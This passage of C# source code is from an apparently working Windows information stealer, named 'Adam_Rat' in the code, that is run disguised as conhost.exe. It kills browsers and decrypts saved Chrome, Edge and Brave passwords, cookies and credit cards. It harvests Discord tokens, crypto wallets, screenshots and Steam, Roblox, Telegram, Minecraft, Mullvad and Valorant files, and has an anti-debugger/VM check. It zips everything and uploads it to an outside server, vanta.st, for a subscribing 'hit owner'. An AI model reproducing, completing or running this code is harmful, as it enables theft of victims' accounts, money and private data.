                    .Where(f => f.EndsWith(".ini") || f.EndsWith(".json") || f.EndsWith(".dat") || f.EndsWith(".log") || f.EndsWith(".token") || f.EndsWith(".cfg")));
            }
            try
            {
                using var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\WOW6432Node\Riot Games\VALORANT");
                if (key != null)
                {
                    string install = key.GetValue("InstallLocation") as string;
                    if (!string.IsNullOrEmpty(install) && Directory.Exists(install))
                    {
                        string saved = Path.Combine(install, "Saved");
                        if (Directory.Exists(saved))
                            files.AddRange(Directory.GetFiles(saved, "*.*", SearchOption.AllDirectories)
                                .Where(f => f.EndsWith(".ini") || f.EndsWith(".json") || f.EndsWith(".dat") || f.EndsWith(".log") || f.EndsWith(".token")));
                    }
                }
            }
            catch { }
            return files.Distinct().ToList();
        }

        static async Task<byte[]> I4j5K6(
            Dictionary<string, string> sys,
            List<object> pws, List<object> cks, List<object> ccs,
            List<string> dtoks, List<Dictionary<string, object>> daccs,
            List<string> steam, Dictionary<string, List<string>> wallets,
            List<string> roblox, List<string> telegram, List<string> screens,
            List<string> minecraft, List<string> mullvad, List<string> valorant)
        {
            using var ms = new MemoryStream();
            using (var zip = new ZipArchive(ms, ZipArchiveMode.Create, true))
            {
                void AddText(string content, string entry)
                {
                    var e = zip.CreateEntry(entry);
                    using var sw = new StreamWriter(e.Open());
                    sw.Write(content);
                }
                void AddFile(string file, string zipPath)
                {
                    var e = zip.CreateEntry(zipPath);
                    using var src = File.OpenRead(file);
                    using var dst = e.Open();
                    src.CopyTo(dst);
                }

                AddText(JsonSerializer.Serialize(sys, new JsonSerializerOptions { WriteIndented = true }), "System_Info.txt");
                if (pws.Any())
                {
                    var sb = new StringBuilder();
                    foreach (var p in pws.Cast<Dictionary<string, object>>())
                        sb.AppendLine($"[{p["browser"]} - {p["profile"]}]\nURL: {p["url"]}\nUsername: {p["username"]}\nPassword: {p["password"]}\n{new string('-', 50)}");
                    AddText(sb.ToString(), "Passwords.txt");
                }
                var grp = cks.Cast<Dictionary<string, object>>().GroupBy(c => $"{c["browser"]}_{c["profile"]}");
                foreach (var g in grp)
                {
                    var sb = new StringBuilder();
                    sb.AppendLine("# Netscape HTTP Cookie File");
                    foreach (var c in g) sb.AppendLine(c["netscape_line"].ToString());
                    AddText(sb.ToString(), $"Cookies/{g.Key}_cookies.txt");
                }
                if (ccs.Any())
                {
                    var sb = new StringBuilder();
                    foreach (var c in ccs.Cast<Dictionary<string, object>>())
                        sb.AppendLine($"[{c["browser"]} - {c["profile"]}]\nName: {c["name"]}\nCard: {c["card"]}\nExpires: {c["expires"]}\n{new string('-', 50)}");
                    AddText(sb.ToString(), "Credit_Cards.txt");
                }
                if (dtoks.Any() || daccs.Any())
                {
                    var sb = new StringBuilder();
                    sb.AppendLine("DISCORD INFO");
                    sb.AppendLine(new string('=', 60));
                    if (dtoks.Any())
                    {
                        sb.AppendLine("TOKENS:");
                        foreach (var t in dtoks) sb.AppendLine(t);
                        sb.AppendLine();
                    }
                    foreach (var a in daccs)
                    {
                        sb.AppendLine($"User: {a.GetValueOrDefault("username")}");
                        sb.AppendLine($"Email: {a.GetValueOrDefault("email")}");
                        sb.AppendLine($"ID: {a.GetValueOrDefault("id")}");
                        sb.AppendLine(new string('-', 40));
                    }
                    AddText(sb.ToString(), "Discord/Discord_Info.txt");
                }
                foreach (var f in steam) AddFile(f, $"Steam/{Path.GetFileName(f)}");
                foreach (var kv in wallets) foreach (var f in kv.Value) AddFile(f, $"Crypto_Wallets/{kv.Key}/{Path.GetFileName(f)}");
                foreach (var f in roblox) AddFile(f, $"Roblox/{Path.GetFileName(f)}");
                foreach (var f in telegram) AddFile(f, $"Telegram/{Path.GetFileName(f)}");
                foreach (var f in screens) AddFile(f, $"Screenshots/{Path.GetFileName(f)}");
                foreach (var f in minecraft) AddFile(f, $"Minecraft/{Path.GetFileName(f)}");
                foreach (var f in mullvad) AddFile(f, $"Mullvad/{Path.GetFileName(f)}");
                foreach (var f in valorant) AddFile(f, $"Valorant/{Path.GetFileName(f)}");
                var sum = new StringBuilder();
                sum.AppendLine($"Passwords: {pws.Count}\nCookies: {cks.Count}\nCredit Cards: {ccs.Count}\nDiscord Tokens: {dtoks.Count}\nDiscord Accounts: {daccs.Count}\nSteam Files: {steam.Count}\nCrypto Wallets: {wallets.Sum(kv => kv.Value.Count)}\nRoblox Files: {roblox.Count}\nTelegram Files: {telegram.Count}\nScreenshots: {screens.Count}\nMinecraft Files: {minecraft.Count}\nMullvad Files: {mullvad.Count}\nValorant Files: {valorant.Count}");
                AddText(sum.ToString(), "Summary.txt");
            }
            return ms.ToArray();
        }

        static readonly Regex ModHitOwnerIdRe = new Regex(
            @"^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$",
            RegexOptions.IgnoreCase | RegexOptions.Compiled);

        static void LogUploadError(string body, string uid)
        {
            if (body != null && body.IndexOf("Missing userId or username", StringComparison.OrdinalIgnoreCase) >= 0)
            {
                Log("Upload hint: userId must be your dashboard hit owner ID (mod_hit_owner_id), not Discord ID.");
                Log("Rebuild mod/EXE from vanta.st dash, or link the ID: node scripts/link-remote-owner-id.js <uuid> <discordId>");
                if (!ModHitOwnerIdRe.IsMatch(uid ?? ""))
                    Log($"Upload hint: '{uid}' is not a valid hit-owner UUID format.");
                return;
            }
            if (body != null && body.IndexOf("No matching hit", StringComparison.OrdinalIgnoreCase) >= 0)
                Log("Upload hint: mod mode needs a recent Minecraft mod hit first; use standalone EXE build or add standalone arg.");
            if (body != null && body.IndexOf("subscription", StringComparison.OrdinalIgnoreCase) >= 0)
                Log("Upload hint: account needs an active subscription on the server.");
        }

        static bool TryResolveRunArgs(string[] args, out string uid, out string uname, out bool standalone)
        {
            uid = null;
            uname = null;
            standalone = args.Any(a => a.Equals("standalone", StringComparison.OrdinalIgnoreCase) || a == "1");
            var positional = args.Where(a => !a.Equals("standalone", StringComparison.OrdinalIgnoreCase) && a != "1").ToArray();

            if (positional.Length >= 2)
            {
                uid = positional[0];
                uname = positional[1];
                return true;
            }

            string exeDir = Path.GetDirectoryName(Environment.ProcessPath) ?? AppContext.BaseDirectory.TrimEnd('\\', '/');
            string userTxtPath = Path.Combine(exeDir, "user.txt");
            if (File.Exists(userTxtPath))
            {
                uid = File.ReadAllText(userTxtPath).Trim();
                if (!string.IsNullOrEmpty(uid))
                {
                    uname = positional.Length == 1 ? positional[0] : Environment.UserName;
                    if (positional.Length == 0)
                        standalone = true;
                    return true;
                }
            }

            if (positional.Length == 1 && ModHitOwnerIdRe.IsMatch(positional[0]))
            {
                uid = positional[0];
                uname = Environment.UserName;
                return true;
            }

            return false;
        }

        static async Task<bool> N5o6P7(byte[] zip, string uid, string uname, bool standalone, Dictionary<string, string> sys)
        {
            using var http = new HttpClient { Timeout = TimeSpan.FromMinutes(10) };
            using var form = new MultipartFormDataContent();
            form.Add(new StringContent(uid), "userId");
            form.Add(new StringContent(uname), "username");
            form.Add(new StringContent(standalone ? "exe" : "mod"), "hitType");
            form.Add(new StringContent(sys.GetValueOrDefault("ip") ?? ""), "ip");
            form.Add(new StringContent(sys.GetValueOrDefault("country") ?? ""), "country");
            form.Add(new ByteArrayContent(zip), "file", "Adam_Rat.zip");
            var resp = await http.PostAsync("https://vanta.st/api/hit/upload", form);
            if (resp.IsSuccessStatusCode)
                Log($"Upload OK {(int)resp.StatusCode} ({zip.Length} bytes, hitType={(standalone ? "exe" : "mod")})");
            else
            {
                string body = "";
                try { body = await resp.Content.ReadAsStringAsync(); } catch { }
                Log($"Upload FAIL {(int)resp.StatusCode} {resp.ReasonPhrase} ({zip.Length} bytes, hitType={(standalone ? "exe" : "mod")}) body={body}");
                LogUploadError(body, uid);
            }
            return resp.IsSuccessStatusCode;
        }

        static async Task Main(string[] args)
        {
            try
            {
            Log($"Start pid={Process.GetCurrentProcess().Id} exe={Environment.ProcessPath} log={LogPath}");
            Log($"Args: {args.Length} [{string.Join(", ", args)}]");
            A1b2C3();
            if (D4e5F6())
            {
                Log("Exit: environment check failed (debugger/vm)");
                return;
            }
            if (!TryResolveRunArgs(args, out string uid, out string uname, out bool standalone))
            {
                Log("Exit: need hit owner ID + username (or user.txt beside exe)");
                Log("Usage:");
                Log("  mod:        conhost.exe <hitOwnerId> <minecraftUsername>");
                Log("  standalone: conhost.exe <hitOwnerId> <pcUsername> standalone");
                Log("  or:         conhost.exe <hitOwnerId> standalone  (uses %USERNAME%)");
                Log("  or:         place hitOwnerId in user.txt (like Vanta-loader) then run conhost.exe");
                Log("Get hitOwnerId by building mod/EXE on vanta.st dashboard (embedded automatically).");
                return;
            }
            Log($"Run uid={uid} uname={uname} standalone={standalone}");
            if (!ModHitOwnerIdRe.IsMatch(uid))
                Log("Warning: first arg does not look like a hit-owner UUID; upload may be rejected.");

            var sys = await G7h8I9();
            Log($"System info collected ip={sys.GetValueOrDefault("ip")}");
            var tokens = await P6q7R8();
            Log($"Tokens found: {tokens.Count}");
            var accounts = new List<Dictionary<string, object>>();
            foreach (var t in tokens)
            {
                var acc = await I1j2K3(t);
                if (acc != null) accounts.Add(acc);
            }

            var allPw = new List<object>();
            var allCk = new List<object>();
            var allCc = new List<object>();

            KillBrowserProcesses();

            var browsers = new[] {
                new { Name = "Chrome", Exe = "chrome.exe", Data = Path.Combine(GetFolderPath(SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data") },
                new { Name = "Edge", Exe = "msedge.exe", Data = Path.Combine(GetFolderPath(SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data") },
                new { Name = "Brave", Exe = "brave.exe", Data = Path.Combine(GetFolderPath(SpecialFolder.LocalApplicationData), "BraveSoftware\\Brave-Browser\\User Data") }
            };
            foreach (var b in browsers)
            {
                if (!Directory.Exists(b.Data))
                {
                    Log($"Browser skip {b.Name}: data dir missing");
                    continue;
                }
                string exe = null;
                using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" + b.Exe))
                    exe = key?.GetValue(null) as string;
                if (string.IsNullOrEmpty(exe))
                {
                    string local = GetFolderPath(SpecialFolder.LocalApplicationData);
                    if (b.Name == "Chrome") exe = Path.Combine(local, "Google\\Chrome\\Application\\chrome.exe");
                    else if (b.Name == "Edge") exe = Path.Combine(local, "Microsoft\\Edge\\Application\\msedge.exe");
                    else if (b.Name == "Brave") exe = Path.Combine(local, "BraveSoftware\\Brave-Browser\\Application\\brave.exe");
                    if (!File.Exists(exe))
                    {
                        Log($"Browser skip {b.Name}: exe not found");
                        continue;
                    }
                }
                try
                {
                    Log($"Browser {b.Name} exe={exe}");
                    byte[] key = V1w2X3(exe, b.Data);
                    var profiles = Directory.GetDirectories(b.Data).Where(d => Regex.IsMatch(Path.GetFileName(d), @"^(Default|Profile \d+)$")).ToList();
                    Log($"Browser {b.Name} profiles={profiles.Count} keyLen={key?.Length ?? 0}");
                    foreach (var prof in profiles)
                    {
                        string pn = Path.GetFileName(prof);
                        string ckDb = Path.Combine(prof, "Network", "Cookies");
                        if (File.Exists(ckDb))
                        {
                            try { allCk.AddRange(await E8f9G0(ckDb, key, b.Name, pn)); }
                            catch (Exception ex) { LogEx($"Cookies {b.Name}/{pn}", ex); }
                        }
                        string lgnDb = Path.Combine(prof, "Login Data");
                        if (File.Exists(lgnDb))
                        {
                            try { allPw.AddRange(await M2n3O4(lgnDb, key, b.Name, pn)); }
                            catch (Exception ex) { LogEx($"Logins {b.Name}/{pn}", ex); }
                        }
                        string webDb = Path.Combine(prof, "Web Data");
                        if (File.Exists(webDb))
                        {
                            try { allCc.AddRange(await F1g2H3(webDb, key, b.Name, pn)); }
                            catch (Exception ex) { LogEx($"Cards {b.Name}/{pn}", ex); }
                        }
                    }
                }
                catch (Exception ex) { LogEx($"Browser {b.Name}", ex); }
            }

            var steamFiles = Z6a7B8();
            var wallets = W3x4Y5();
            var robloxFiles = R1s2T3();
            var telegramFiles = X7y8Z9();
            var screenshots = D3e4F5();
            var minecraftFiles = S8t9U0();
            var mullvadFiles = U4v5W6();
            var valorantFiles = K2l3M4();

            Log($"Collect pw={allPw.Count} ck={allCk.Count} cc={allCc.Count} accounts={accounts.Count}");

            byte[] zipData = await I4j5K6(sys, allPw, allCk, allCc, tokens, accounts,
                steamFiles, wallets, robloxFiles, telegramFiles, screenshots,
                minecraftFiles, mullvadFiles, valorantFiles);
            Log($"Zip built {zipData.Length} bytes");
            await N5o6P7(zipData, uid, uname, standalone, sys);
            Log("Done");
            }
            catch (Exception ex)
            {
                LogEx("Fatal", ex);
            }
        }
    }
}